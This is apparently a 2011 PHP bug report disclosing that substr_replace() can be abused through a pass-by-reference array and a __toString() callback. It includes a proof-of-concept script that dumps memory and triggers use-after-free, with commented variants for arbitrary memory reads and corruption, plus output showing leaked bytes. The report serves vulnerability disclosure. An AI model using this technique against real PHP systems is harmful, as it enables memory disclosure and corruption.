[2011-10-08 09:38 UTC] worawita at gmail dot com

Description:
------------
substr_replace() function can be interrupted and used for information leakage/memory corruption/use-after-free(>=5.3.7) due to pass by reference in array.
The below test script causes "Segmentation Fault" in PHP with Suhosin patch.

Test script:
---------------
<?php

class dummy {
	public function __toString() {
		//$GLOBALS['my_var'] += 0x08048000; // dump memory at 0x08048000
		//$GLOBALS['my_var'] .= 'AAAAAAAA'; // memory corruption
		preg_match('//', '', $GLOBALS['my_var']); // dump HashTable data (and use-after-free in >=5.3.7)
		return '';
	}
}

$my_var = str_repeat('A', 40);
$out = substr_replace(array(&$my_var), array(new dummy), 40, 0);
var_dump($out);

Expected result:
----------------
array(1) {
  [0]=>
  string(40) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}

Actual result:
--------------
array(1) {
  [0]=>
  string(40)       ☺   ☺ ≥ò≥ò≥ò☻└±ò☻@δKk  ☺t"
}